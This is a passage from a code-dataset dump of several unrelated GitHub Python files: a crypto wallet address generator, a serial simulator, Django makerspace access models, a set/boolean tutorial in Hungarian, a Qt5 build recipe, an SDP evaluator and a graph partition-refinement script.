MODELS:\n crypto = MODELS[symbol]\n document = crypto[\"model\"].generate_address(\n mnemonic,\n crypto[\"semantic\"],\n crypto[\"network\"]\n )\n elif symbol in JSMODELS:\n crypto = JSMODELS[symbol]\n subrslt = subprocess.run(\n [\n \"node\",\n os.path.join(\"/app/code/js\", f'{crypto[\"model\"]}.js'),\n mnemonic,\n '', \n crypto[\"network\"]\n ],\n capture_output = True\n )\n if subrslt.stderr:\n print(subrslt.stderr)\n exit()\n document = json.loads(subrslt.stdout.decode(\"ascii\"))\n else:\n document = python_hdwallet.generate_address(symbol, entropy, \"p2pkh\")\n \n document.update({\n \"mnemonic\": mnemonic,\n \"seed\": seed,\n \"entropy\": entropy\n })\n\n if last_is_comment:\n entropy_list = []\n entropy_list.append(document)\n last_is_comment = False\n\n if not last_is_comment:\n rslt.append([True, entropy_list])\n\n\n # show generated information\n show_dict = {\n \"line no.\": True,\n \"mnemonic\": args.mnemonic,\n \"address\": args.address,\n \"public_key\": args.public_key,\n \"private_key\": args.private_key,\n \"seed\": args.seed,\n \"entropy\": args.entropy,\n }\n order_number = 0\n for flag, documents in rslt:\n if not flag:\n print(documents)\n continue\n\n table, headers = [], []\n for item, value in show_dict.items():\n if value:\n headers.append(item)\n \n for document in documents:\n order_number += 1\n element = [order_number]\n for item, value in show_dict.items():\n if item == 'line no.':\n continue\n if value:\n element.append(document[item])\n table.append(element)\n\n click.echo(tabulate(table, headers, tablefmt=\"github\"))\n\n\n # save qr image\n if not args.qr_code or not args.qr_save_dir:\n return\n save_dir = os.path.join(args.qr_save_dir, symbol)\n if not os.path.isdir(save_dir):\n os.makedirs(save_dir)\n order_number = 0\n for flag, documents in rslt:\n if not flag:\n continue\n for document in documents:\n order_number += 1\n address = document[\"address\"]\n img = qrcode.make(address)\n img.save(os.path.join(save_dir, f\"{str(order_number).zfill(4)}.{address}.png\"))\n\n\n\ndef list_cryptocurrencies(args):\n if args.search_key_words:\n search_key_words = args.search_key_words.lower()\n else:\n search_key_words = None\n\n table, headers = [], [\n \"Cryptocurrency\", \"Symbol\", \"Mainnet\", \"Testnet\", \"Segwit\", \"SDK\"\n ]\n\n # hdwallet\n documents = python_hdwallet.get_cryptocurrencies()\n for document in documents:\n if search_key_words and search_key_words not in document[\"name\"].lower() and search_key_words not in document[\"symbol\"].lower():\n continue \n table.append([\n document[\"name\"],\n document[\"symbol\"],\n document[\"mainnet\"],\n document[\"testnet\"],\n document[\"segwit\"],\n document[\"sdk\"],\n ])\n\n # symbol\n if not search_key_words or search_key_words in 'symbol xym xymtest':\n table.append([\"symbol\", \"XYM, XYMTEST\", \"Yes\", \"Yes\", \"No\", \"symbol\"])\n\n # XLM\n if not search_key_words or search_key_words in 'lumens stellar str xlm':\n table.append([\"lumens\", \"XLM\", \"Yes\", \"No\", \"No\", \"stellar\"])\n\n # waves\n if not search_key_words or search_key_words in 'waves WAVES':\n table.append([\"waves\", \"WAVES\", \"Yes\", \"No\", \"No\", \"waves\"])\n\n # polkadot\n if not search_key_words or search_key_words in 'polkadot kusama substrate ksm':\n table.append([\"polkadot\", \"DOT, DOTKSM, DOTSUB\", \"Yes\", \"Yes\", \"No\", \"polkadot\"])\n\n click.echo(tabulate(table, headers, tablefmt=\"github\"))\n\n\nif __name__ == \"__main__\":\n \"\"\"\n list_cryptocurrencies()\n rslt = generate_address(\n \"XYM\",\n [\"b87d04d6a37c3000a5de6722afaffe7988249f79761268b35e23f9c07fa790cd\"],\n show_dict = {\n \"entropy\": False,\n \"mnemonic\": True,\n \"seed\": False,\n \"private_key\": False,\n \"public_key\": True,\n \"address\": True\n }\n )\n click.echo(json.dumps(rslt, indent=4, ensure_ascii=False))\n \"\"\"\n args = add_argument_parser()\n args.func(args)\n","repo_name":"marcusyh/crypto_wallets","sub_path":"src/wallet.py","file_name":"wallet.py","file_ext":"py","file_size_in_byte":9595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"14830815546","text":"import serial\nimport random, time, math\nimport struct\n\nport = \"/dev/pts/4\"\nser = serial.Serial(port, 38400)\n\nincycle = 0\n\nwhile True:\n t = int(random.randint(60, 80) * (1 + math.sin(incycle)))\n x = ser.write(chr(t).encode())\n time.sleep(0.02)\n \n incycle += 0.01\n if incycle >= 2 * math.pi:\n incycle = 0\n\n\nser.close()\n","repo_name":"q-eldar/pyserial_plot","sub_path":"sender_sim.py","file_name":"sender_sim.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"23202689965","text":"import os\nimport sys\nimport logging\n\nlogging.getLogger('numpy').setLevel(logging.INFO)\nlogging.getLogger('tensorflow').setLevel(logging.WARNING)\nlogging.getLogger('keras').setLevel(logging.WARNING)\n\n\nclass Logger(object):\n def __init__(self, log_file='data/logs/output.log'): \n self.log_file = os.path.join(os.path.dirname(__file__), '../../data/logs/output.log')\n self.console = logging.StreamHandler(sys.stdout)\n self.console.setLevel(logging.INFO)\n self.formatter = logging.Formatter('---> %(message)s')\n self.console.setFormatter(self.formatter)\n logging.basicConfig(\n level=logging.DEBUG,\n format='%(asctime)s %(levelname)8s %(message)s',\n datefmt='%Y-%m-%d %H:%M:%S',\n filename=self.log_file,\n filemode='a')\n\n def log(self, lvl, msg):\n if 'LOGGER' in os.environ and os.environ['LOGGER'] == 'stdout':\n logging.getLogger('').addHandler(self.console)\n logging.log(lvl, msg)\n\nlogger = Logger()\n\ndef log(msg, lvl=logging.INFO):\n logger.log(lvl, msg)\n","repo_name":"oscarkremer/predictive-maintenance-web","sub_path":"src/utils/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"33409434981","text":"from django.db import models\nfrom django.contrib.auth.models import User\nfrom django.core.exceptions import ValidationError\ntry:\n from django.urls import reverse\nexcept ImportError:\n from django.core.urlresolvers import reverse\nfrom django.utils.encoding import python_2_unicode_compatible\nimport re, datetime\n\nfrom .constants import access_denied_reason\n\nMEMBERSHIP_TYPES = [\n ('individual','Individual'),\n ('family','Family'),\n ('administrative','Administrative'),\n ('teacher','Teacher'),\n]\n\n@python_2_unicode_compatible\nclass Member(User):\n \"\"\"Core membership info for a Makerspace user\n \n This model is derived from the Django built-in User model which handles\n the default authentication in the Django infrastructure.\n \"\"\"\n \n membership_type = models.CharField(max_length=64,choices=MEMBERSHIP_TYPES,help_text=\"Type of membership\")\n expires = models.DateField(blank=True,null=True)\n resources = models.ManyToManyField('Resource',through='ResourceAllowed',through_fields=('member','resource'))\n comments = models.TextField(blank=True)\n # try to match the amherst rec account records to the makerspace account\n billing_id = models.CharField(max_length=255,blank=True,help_text=\"ID to help with future direct link to Amherst Rec billing\")\n # mark certain members as incognito, so the doorbot doesn't tweet them\n incognito = models.BooleanField(blank=True,default=False)\n \n def __str__(self):\n return '%s %s'%(self.first_name,self.last_name)\n \n def get_absolute_url(self):\n return reverse('macs:member_view',args=[str(self.id)])\n \n def get_keycard_list(self):\n \"get a list of keycards by number\"\n r = []\n for card in self.keycard_set.all():\n r.append(card.number)\n return r\n \n @property\n def is_expired(self):\n \"check if account is expired\"\n if self.does_not_expire:\n return False\n return bool(self.expires < datetime.date.today())\n \n @property\n def does_not_expire(self):\n \"check if the memeber account does not expire\"\n return bool(self.expires is None)\n\n class Meta:\n ordering = ('last_name','first_name')\n \ndef keycard_number_ok( value ):\n \"keycard number validator\"\n if len(value) < 8 or not re.match(r'^[0123456789abcdef]{8,}$',value, re.I):\n raise ValidationError('keycard ID must be a hexadecimal string, 8 characters or more')\n \n@python_2_unicode_compatible\nclass Keycard(models.Model):\n \"keycard assigned to a member and used for resource access\"\n number = models.CharField(max_length=64,blank=False,unique=True,help_text=\"Keycard ID String (hexadecimal)\",validators=[keycard_number_ok])\n member = models.ForeignKey(Member,null=True,blank=True,on_delete=models.SET_NULL,help_text=\"Member assigned to this card\")\n active = models.BooleanField(default=True,blank=True,help_text=\"keycard is active\")\n comment = models.CharField(max_length=128,blank=True,help_text=\"optional comment\")\n lockout_card = models.BooleanField(default=False,blank=True,help_text=\"keycard is a lockout card\")\n \n def __str__(self):\n return self.number + ' (' + self.comment.strip() + ')'\n \n def get_absolute_url(self):\n return reverse('macs:keycard_manage',args=[str(self.id)]) \n \n class Meta:\n ordering = ('active','number')\n \n \n@python_2_unicode_compatible\nclass Resource(models.Model):\n \"\"\"Resources defined by the makerspace\n \n anything that can be accessed with a makerspace keycard\n (including the door) is a resource\n \"\"\"\n name = models.CharField(max_length=64,unique=True,help_text=\"resource name\")\n description = models.CharField(max_length=255,blank=True,help_text=\"additional information about the resource\")\n secret = models.CharField(max_length=32,blank=True,help_text=\"resource secret key\")\n cost_per_hour = models.FloatField(blank=True,default=0.0,help_text=\"cost per hour of use\")\n admin_url = models.URLField(blank=True,help_text=\"URL for performing admin activity on the resource\")\n locked = models.BooleanField(default=False,blank=True,help_text=\"resource is locked out\")\n \n def __str__(self):\n return '%d: %s'%(self.id,self.name)\n \n def get_absolute_url(self):\n return reverse('macs:resource_view',args=[str(self.id)]) \n \n class Meta:\n ordering = ('name',)\n \n\nclass ResourceAllowed(models.Model):\n \"\"\"Intermediate model that links Resource objects to Member objects\n \n This allows storage of specific Member-to-Resource attributes\n \"\"\"\n member = models.ForeignKey(Member,on_delete=models.CASCADE)\n resource = models.ForeignKey(Resource,on_delete=models.CASCADE)\n timestamp = models.DateTimeField(auto_now_add=True)\n trainer = models.CharField(max_length=64,help_text=\"trainer name\")\n comment = models.CharField(max_length=255,blank=True,help_text=\"optional comment\")\n\n \nclass ResourceAccessLog(models.Model):\n \"\"\"logging mechanism for recording resource access transactions\"\"\"\n keycard = models.CharField(max_length=64)\n member = models.ForeignKey(Member,null=True,on_delete=models.SET_NULL)\n resource = models.ForeignKey(Resource,on_delete=models.CASCADE)\n timestamp = models.DateTimeField(auto_now_add=True)\n allowed = models.BooleanField(blank=True,default=False)\n reason_code = models.IntegerField()\n \n def reason_text(self):\n r = self.reason_code\n if r >= 0 and r < len(access_denied_reason):\n return access_denied_reason[r]\n else:\n return 'unknown reason'\n \n class Meta:\n ordering = ('-timestamp',)\n \nclass ResourceUsage(models.Model):\n \"\"\"record usage of resources that support this feature\"\"\"\n member = models.ForeignKey(Member,on_delete=models.CASCADE)\n resource = models.ForeignKey(Resource,on_delete=models.CASCADE)\n timestamp = models.DateTimeField(auto_now_add=True)\n minutes = models.FloatField(help_text=\"minutes of usage\")\n \nclass ActivityLog(models.Model):\n \"\"\"log activity in MACS - this is for auditing purposes\"\"\"\n user = models.ForeignKey(User,on_delete=models.CASCADE)\n timestamp = models.DateTimeField(auto_now_add=True)\n model_name = models.CharField(max_length=128)\n model_id = models.IntegerField()\n action = models.CharField(max_length=32)\n details = models.TextField(blank=True)\n\n class Meta:\n ordering = ('-timestamp',)\n \nclass DailySchedule(models.Model):\n \"\"\"store the daily schedule for the makerspace to be open\n \n multiple instances of this can be created for each week day, allowing\n multiple time periods during the day when the space is open\n \"\"\"\n WEEKDAYS_ISO_FMT = [\n (1,'Monday'),\n (2,'Tuesday'),\n (3,'Wednesday'),\n (4,'Thursday'),\n (5,'Friday'),\n (6,'Saturday'),\n (7,'Sunday'),\n ]\n day = models.IntegerField(choices=WEEKDAYS_ISO_FMT,help_text=\"day of the week\")\n start_time = models.TimeField(help_text=\"start of time period when Makerspace is open\")\n end_time = models.TimeField(help_text=\"end of time period when Makerspace is open\")\n \n class Meta:\n ordering = ('day','start_time')\n \n \nclass ScheduleException(models.Model):\n \"\"\"Store exceptions to the normal daily schedule\n \n Each exception is valid for a single calendar date and can be\n set as the Makerspace being either open or closed for the time\n window given\n \n In the code that processes the open/closed schedule, exceptions\n will take precedence over the daily schedule.\n \"\"\"\n date = models.DateField(help_text=\"schedule exception date\")\n start_time = models.TimeField(help_text=\"start of time period for the exception\")\n end_time = models.TimeField(help_text=\"end of time period for the exception\")\n open = models.BooleanField(blank=True,default=False,help_text=\"Makerspace is open during the exception period\")\n comment = models.CharField(max_length=255,blank=True,help_text=\"optional comment\")\n \n class Meta:\n ordering = ('date','start_time')\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n ","repo_name":"jbarrett1205/macs","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":8290,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"19537645827","text":"\"\"\" Set \"\"\"\n\n# Set: egyedi elemek halmaza\n# ez annyit tesz, hogy egy Set-ben nem lehet két ugyan olyan elem (ahogy egy Dict.-ben sem lehet két azonos kulcs)\n# gyakorlatilag egy matematikai halmaz megvalósítása\n\nx = set()\n\nx.add('alma')\nprint(x) # {'alma'}\n\n# ahogy megszokott, itt is lehet különböző típusokat keverni\nx.add(2)\nprint(x) # {2, 'alma'}\n\n\nl = [1, 1, 1, 2, 2, 3, 3, 3, 4, 5, 5, 6]\nprint(l) # [1, 1, 1, 2, 2, 3, 3, 3, 4, 5, 5, 6]\nprint(set(l)) # {1, 2, 3, 4, 5, 6}\n\n\n# két Set (halmaz) úniója 2, 3, 4, 5, 7\na = set()\na.add(1)\na.add(3)\na.add(5)\na.add(6)\n\nb = set()\nb.add(2)\nb.add(3)\nb.add(4)\nb.add(5)\nb.add(7)\n\na_U_b = a.union(b)\nprint(a_U_b) # {1, 2, 3, 4, 5, 6, 7}\n\n\n# set-et meg lehet adni úgy mint szótár, csak értékek nélkül (de ettől még Set lesz!)\nc = {1, 2, 5, 6, 9}\nd = {2, 3, 6, 7}\n\nc_U_d = c.union(d)\nprint(c_U_d) # {1, 2, 3, 5, 6, 7, 9}\n\n\n\n\"\"\" Boolean \"\"\"\n\na = False\n\n# A boolean értékek reprezentálnak számot is, 1 vagy 0\n\nprint(True.bit_length()) # 1\nprint(False.bit_length()) # 0\n\n# ebből adódóan lehetséges ez is:\nprint(False < True) # True\n\n\n\n# speciális \"objektum\" a None. Ezzel alapértelmezett üres állapotba lehet hozni egy változót (hasonló a Java null-jához)\n\nvar1 = \"korte\" # itt megtörténik a var1 változó String típusúként történő azonosítása\n\nprint(var1) # 'korte'\n\nvar1 = None # itt 'resetelődik', azaz olyan típusú lesz amihez nincsenek függvények\n # redelve\n\nprint(var1) # None\n\n\n","repo_name":"gregito/PySandbox","sub_path":"ObjectAndDataStructures/SetsAndBooleans.py","file_name":"SetsAndBooleans.py","file_ext":"py","file_size_in_byte":1942,"program_lang":"python","lang":"hu","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7588738367","text":"import os\n\nfrom pydictanalyzer.filesystem import FileSystem\nfrom pydictanalyzer.objects import Directory, File, Other\n\n\nclass FilesManager(object):\n \"\"\"\n Class to load files from given path and store it into database\n \"\"\"\n def __init__(self):\n self._files = []\n\n @property\n def files(self):\n return self._files\n\n def load_files(self, dir_path):\n \"\"\"\n Load files from given directory, create its virtual representation and add to object's files list\n\n :param dir_path: Path to the directory from files should be loaded\n :type dir_path: str\n :return: None\n :rtype: None\n \"\"\"\n for path in FileSystem.get_files_list_in_dir_recursive(dir_path):\n if not os.path.islink(path) and os.path.isfile(path):\n file = File(path)\n elif not os.path.islink(path) and os.path.isdir(path):\n file = Directory(path)\n else:\n file = Other(path)\n self._files.append(file)\n\n def save_files(self, database):\n \"\"\"\n Store loaded files into database\n\n :param database: Database class instance\n :type database: pydictanalyzed.database.Database\n :return: None\n :rtype: None\n \"\"\"\n for file in self.files:\n file.add_to_db(database)\n database.apply_changes()","repo_name":"abdulafaja/PyDictAnalyzer","sub_path":"pydictanalyzer/filesmanager.py","file_name":"filesmanager.py","file_ext":"py","file_size_in_byte":1380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"38267906011","text":"from pymongo import MongoClient\nfrom database_management import PixnetDatabase\nimport jieba\nDB_IP = \"35.194.174.101\" # 35.194.174.101\nDB_PORT = 27017 # default MongoDB port\nDB_NAME = \"beautybot\" # use the collection\nclass BeautyBot(object):\n def __init__(self):\n pass\n \n def chat(self, input):\n client = MongoClient(DB_IP, DB_PORT)\n collection_pixnet = client[DB_NAME][\"pixnet\"]\n collection_ptt = client[DB_NAME][\"ptt\"]\n p_db = PixnetDatabase()\n\n key_word = ['玫瑰金', '咬唇', '韓系', '土色', '裸色', '裸粉', '大紅', '暗紅', '血色',\n '平價', '鍍金', '持久', '染唇', '絲絨', 'ysl', 'YSL', 'chanel', 'Chanel', 'dior', 'Dior',\n 'M.A.C', 'MAC', '雅詩蘭黛', '紀梵希', '蘭蔻', '美寶蓮', '巴黎萊雅', '紅', '試色', '分享',\n '保溼', '顯色', '修護']\n search_rule = []\n for word in key_word:\n if word in input:\n search_rule.append({\"title\": {\"$regex\": word}})\n \"\"\"\n search_rule = []\n jieba_list = list(jieba.cut_for_search(input))\n print(jieba_list)\n for word in jieba_list:\n search_rule.append({\"title\": {\"$regex\": word}})\n \"\"\"\n if \"唇\" in input:\n search_rule = {\"category\": \"lips\",\n \"$or\": search_rule\n }\n article_list = p_db.search_article(collection_pixnet, search_rule)\n pick_pixnet_article_title = [art['title'] for art in article_list[:5]]\n list_array = \", \\n\".join(pick_pixnet_article_title)\n\n ptt_article = p_db.search_article(collection_ptt, search_rule)\n push = sum([art['message_push'] for art in ptt_article[:5]])\n total = sum([art['message_all'] for art in ptt_article[:5]])+1\n rating = push / total\n pick_ptt_article_title = [art['title'] for art in ptt_article[:5]]\n ptt_array = \", \\n\".join(pick_ptt_article_title)\n\n message = '找到 ' + str(len(article_list)) + ' 篇文章, 前5推荐:\\n' + list_array + '\\n'\n message += 'ptt 找到 ' + str(len(ptt_article)) + ' 篇文章, 前5推荐:\\n' + ptt_array\n message += '\\n 共' + str(total) + '篇回應, 推的比率為' + str(round(rating, 1))\n elif input in ['Hi', 'hi', '你好']:\n message = 'Hi~Beauty~~'\n else:\n message = '你說啥麼?'\n\n message_attachments = [\n {\n \"fallback\": \"Upgrade your Slack client to use messages like these.\",\n \"color\": \"#3AA3E3\",\n \"attachment_type\": \"default\",\n \"callback_id\": \"menu_options_2319\",\n \"actions\": [\n {\n \"name\": \"games_list\",\n \"text\": \"Pick a game...\",\n \"type\": \"select\",\n \"data_source\": \"external\"\n }\n ]\n }\n ]\n return message, message_attachments\n\n\ndef main():\n lu = LanguageUnderstanding()\n lu.test()\n dm = DialogueManagement()\n dm.test()\n nlg = NaturalLanguageGeneration()\n nlg.test()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"behappycc/beauty-bot","sub_path":"beauty_bot/beauty_bot.py","file_name":"beauty_bot.py","file_ext":"py","file_size_in_byte":3312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1191001074","text":"def primes_to_n(n):\n primes = [2]\n a = list(range(n+1))\n a[1] = 0\n primes = list()\n i = 2\n while i <= n:\n if a[i] != 0:\n primes.append(a[i])\n for j in range(i, n+1, i):\n a[j] = 0\n i += 1\n return primes\n\n\nmax = 0\narray = list()\nwith open('num2.txt', 'r') as f:\n for row in f:\n number = int(row)\n if number > max:\n max = number\n array.append(number)\nprimes = primes_to_n(max)\ncommon_items = set(array) & set(primes)\nprint(len(common_items))\n","repo_name":"Soadist/ruvents","sub_path":"num2.py","file_name":"num2.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28405394763","text":"import os, tarfile\nfrom obt import dep, host, path, git, make, pathtools, env, command\nfrom obt.deco import Deco\nfrom obt.wget import wget\nfrom obt.cmake import context as cmake_context\nfrom obt import log\nfrom yarl import URL\nfrom pathlib import Path\n\ndeco = Deco()\ncmd = command.Command \n\n###############################################################################\n\nclass _qt5_from_source(dep.Provider):\n\n\n def __init__(self): ############################################\n super().__init__(\"qt5\")\n #print(options)\n self.MAJOR_VERSION = \"5.15\"\n self.MINOR_VERSION = \"2\"\n self.HASH = \"e1447db4f06c841d8947f0a6ce83a7b5\"\n self.manifest = path.manifests()/\"qt5\"\n self.OK = self.manifest.exists()\n self.baseurl = URL(\"https://mirrors.ukfast.co.uk/sites/qt.io/official_releases/qt\")\n self.fullver = \"%s.%s\" % (self.MAJOR_VERSION,self.MINOR_VERSION)\n self.name = \"qt-everywhere-src-%s\" % self.fullver\n self.xzname = \"%s.tar.xz\" % self.name\n self.url = self.baseurl/self.MAJOR_VERSION/self.fullver/\"single\"/self.xzname\n self.source_base = path.builds()/\"qt5\"\n self.source_root = self.source_base/self.name\n self.build_dest = path.builds()/\"qt5\"/\"qt5-build\"\n self._archlist = [\"x86_64\"]\n self.declareDep(\"assimp\")\n ########\n def env_goto(self):\n return {\n \"qt5-src\": self.source_root,\n \"qt5-build\": self.build_dest\n }\n ########################################################################\n def areRequiredSourceFilesPresent(self):\n return (self.source_root/\"README\").exists()\n def areRequiredBinaryFilesPresent(self):\n return (path.qt5dir()/\"bin\"/\"qmlscene\").exists()\n ########\n def on_build_shell(self):\n return command.subshell( directory=self.build_dest,\n prompt = \"QT5\",\n environment = dict() )\n ########\n def download_and_extract(self): #############################################\n self.arcpath = dep.downloadAndExtract([self.url],\n self.xzname,\n \"xz\",\n self.HASH,\n self.source_base)\n ########\n def wipe(self):\n os.system(\"rm -rf %s\"%self.source_root)\n os.system(\"rm -rf %s\"%self.build_dest)\n ########\n def build(self): ############################################################\n if dep.require([\"assimp\"])==None:\n return False\n self.OK = True\n #########################################\n # fetch source\n #########################################\n if not self.source_root.exists():\n self.download_and_extract()\n #########################################\n # prep for build\n #########################################\n if self.should_incremental_build:\n os.chdir(self.build_dest)\n else:\n pathtools.mkdir(self.build_dest,clean=True)\n os.chdir(self.build_dest)\n\n options = [\"-prefix\", path.qt5dir()]\n options += [\"-release\"]\n options += [\"-opensource\", \"-confirm-license\"]\n #options += [\"-c++std\", \"c++14\", \"-shared\"]\n #options += [\"-nomake\", \"tests\"]\n #options += [\"-nomake\", \"examples\"]\n #options += [\"-opengl\",\"desktop\"]\n\n if host.IsOsx:\n print(\"yo\")\n #options += [\"-qt-libpng\",\"-qt-zlib\",\"-no-framework.]\n #options += [,\"-qt-libjpeg\",\"-qt-pcre\",\"-qt-freetype\"]\n #options += [\"-no-feature-sql\"] # xcode11 + sql-tds (long long / uint64_t typedef compile errors)\n #options += [\"-no-feature-location\"]\n else:\n options += [\"-system-zlib\"]\n options += [\"-xcb\"]\n options += [\"-skip\",\"qtwebengine\"]\n options += [\"-system-assimp\"]\n #options += [\"-no-rpath\"]\n #options += [\"-pkg-config\"]\n #options += [\"-proprietary-codecs\"]\n\n b = cmd([\"sh\", self.source_root/\"configure\"]+options)\n self.OK = (b.exec()==0)\n #########################################\n # build\n #########################################\n if self.OK:\n self.OK = (make.exec(parallelism=self.default_parallelism)==0)\n if self.OK:\n self.OK = (make.exec(parallelism=self.default_parallelism)==0)\n # uhhuh - https://bugreports.qt.io/browse/QTBUG-60496\n if self.OK:\n self.OK = (0==make.exec(target=\"install\", parallelism=0.0))\n return self.OK\n\n###############################################################################\n\nclass _qt5_from_homebrew(dep.HomebrewProvider):\n def __init__(self):\n super().__init__(\"qt5\",\"qt5\")\n self.fullver = \"5.15.1\"\n def install_dir(self):\n return path.Path(\"/usr/local/opt/qt5\")\n\n###############################################################################\n\nBASE = _qt5_from_source\nif host.IsOsx:\n BASE = _qt5_from_homebrew\n\n###############################################################################\n\nclass qt5(BASE):\n def __init__(self):\n super().__init__()\n ########\n def __str__(self):\n return \"QT5\"\n ########\n def env_init(self):\n log.marker(\"registering QT5(%s) SDK\"%self.fullver)\n if host.IsOsx:\n qtdir = Path(\"/\")/\"usr\"/\"local\"/\"opt\"/\"qt5\"\n else:\n qtdir = path.stage()/\"qt5\"\n env.set(\"QTDIR\",qtdir)\n env.prepend(\"PATH\",qtdir/\"bin\")\n env.prepend(\"LD_LIBRARY_PATH\",qtdir/\"lib\")\n #env.append(\"PKG_CONFIG_PATH\",qtdir/\"lib\"/\"pkgconfig\")\n env.prepend(\"PKG_CONFIG_PATH\",qtdir/\"lib\"/\"pkgconfig\")\n env.set(\"QTVER\",self.fullver)\n ########\n @property\n def include_dir(self):\n return path.qt5dir()/\"include\"\n","repo_name":"tweakoz/ork.build","sub_path":"modules/dep/qt5.py","file_name":"qt5.py","file_ext":"py","file_size_in_byte":5569,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"70643925227","text":"from ucca import evaluation\nfrom ucca.constructions import PRIMARY\n\nfrom ..conversion.sdp import SdpConverter\n\nEVAL_TYPES = (evaluation.LABELED, evaluation.UNLABELED)\n\n\ndef get_scores(s1, s2, eval_type, verbose):\n converter = SdpConverter()\n edges = [[e for g in converter.generate_graphs(s) for n in g.nodes for e in n.outgoing +\n ([SdpConverter.Edge(rel=SdpConverter.TOP, remote=False, head=g.root)] if n.is_top else [])]\n for s in (s1, s2)]\n if eval_type == evaluation.UNLABELED:\n for es in edges:\n for e in es:\n e.rel = None\n g, r = map(set, edges)\n res = evaluation.EvaluatorResults({PRIMARY: evaluation.SummaryStatistics(len(g & r), len(g - r), len(r - g))},\n default={PRIMARY.name: PRIMARY})\n if verbose:\n print(\"Evaluation type: (\" + eval_type + \")\")\n res.print()\n return res\n\n\ndef evaluate(guessed, ref, converter=None, verbose=False, eval_types=EVAL_TYPES, **kwargs):\n del kwargs\n if converter is not None:\n guessed = converter(guessed)\n ref = converter(ref)\n return SdpScores((eval_type, get_scores(guessed, ref, eval_type, verbose)) for eval_type in eval_types)\n\n\nclass SdpScores(evaluation.Scores):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.name = \"SDP\"\n self.format = \"sdp\"\n","repo_name":"huji-nlp/semstr","sub_path":"semstr/evaluation/sdp.py","file_name":"sdp.py","file_ext":"py","file_size_in_byte":1402,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"10535361613","text":"import networkx as nx\nimport numpy as np\n\n# Build the example graph from the paper in networkx\nn = 9\nnodeList = list(range(1, 10))\nedgeList = [(1, 2), (1, 4), (2, 3), (2, 5), (3, 6), (4, 5), (4, 7), (5, 6), (5, 8), (6, 9), (7, 8), (8, 9)]\nG = nx.Graph()\nG.add_nodes_from(nodeList)\nG.add_edges_from(edgeList)\n\n\n# Test shattering functions\ndef uniquelist(list, idfunc=lambda x: x):\n \"\"\"uniquify a list of lists\"\"\"\n\n seen = {}\n result = []\n\n for item in list:\n marker = idfunc(item)\n if marker not in seen:\n seen[marker] = 1\n result.append(item)\n return result\n\n\ndef vertexsetdistance(graph, vertex, part):\n \"\"\"Define the distance between a vertex and a part of a partition\"\"\"\n return len([v for v in graph.adj[vertex] if v in part and v != vertex])\n\n\ndef set2setdistance(graph, part1, part2):\n \"\"\"Define the vector valued distance between two parts in a partition\"\"\"\n return [vertexsetdistance(graph, v, part2) for v in part1]\n\n\ndef lexifyedges(graph):\n \"\"\"Return edge set of a networkx graph with lexicographic ordering enforced\"\"\"\n # edges = list(graph.edges())\n lexify = lambda edge: (min(edge), max(edge)) # lexify a single edge\n lexEdges = sorted([lexify(edge) for edge in graph.edges()])\n return lexEdges\n\n# Define partition class\nclass Partition:\n def __init__(self, partlist, graph, paintedvertices=[]):\n self.Graph = graph\n self.Parts = partlist\n self.PaintedVertices = paintedvertices\n\n def shattercheck(self, i, j):\n \"\"\"Returns true if Vj shatters Vi\"\"\"\n return len(uniquelist([vertexsetdistance(self.Graph, v, self.Parts[j]) for v in self.Parts[i]])) != 1\n\n def shatter(self, i, j):\n \"\"\"Return the shattering of Vi by Vj\"\"\"\n dVector = set2setdistance(self.Graph, self.Parts[i], self.Parts[j])\n dClasses = sorted(uniquelist(dVector))\n return [[self.Parts[i][idx] for idx in range(len(dVector)) if dVector[idx] == d] for d in dClasses]\n\n def singlerefinement(self):\n \"\"\"Return a single refinement of an ordered partition which is not equitable or return the input partition if it\n is equitable \"\"\"\n\n nShards = len(self.Parts)\n for i in range(nShards): # loop until a refinement is found or the partition is found to be equitable\n for j in range(nShards):\n\n isShattered = self.shattercheck(i, j) # check if Vi is shattered by Vj\n if isShattered:\n # print(partition[i])\n # print('shattered by')\n # print(partition[j])\n\n return self.Parts[:i] + self.shatter(i, j) + self.Parts[i + 1:] # return the refined partition\n return self.Parts # the given partition is equitable\n\n def refine(self):\n \"\"\"Return an equitable refinement for the partition\"\"\"\n\n isEquitable = False # initialize flag to determine when P is equitable\n while not isEquitable:\n refineOnce = self.singlerefinement()\n if refineOnce == self.Parts: # this refinement is equitable\n isEquitable = True\n else:\n print(refineOnce)\n self.Parts = refineOnce # continue refining\n return\n\n def isatomic(self):\n \"\"\"Return true if a partition is atomic i.e. all parts are singletons\"\"\"\n subsetLen = [len(S) for S in self.Parts] # get the vector of part length\n return all([subsetLen[i] == 1 for i in range(len(subsetLen))])\n\n def nextsplitting(self):\n \"\"\"Returns the first nontrivial part with respect to the ordering of the partition\"\"\"\n nontrivialIdx = [j for j in range(len(self.Parts)) if len(self.Parts[j]) > 1] # indices for nontrivial parts\n return nontrivialIdx[0]\n\n def split(self, vertex, idx):\n \"\"\"Return the splitting of a partition by distinguishing a specified vertex from a given part index\"\"\"\n if vertex not in self.Parts[idx]:\n print('specified vertex is not in the specified part')\n raise ValueError\n\n splitPart = [[vertex], [v for v in self.Parts[idx] if v != vertex]] # split Vi into [vertex | Vi \\setminus {vertex}]\n splitPartition = self.Parts[:idx] + splitPart + self.Parts[idx+1:]\n\n # A splitting is the equitable refinement of new ordered partition with one 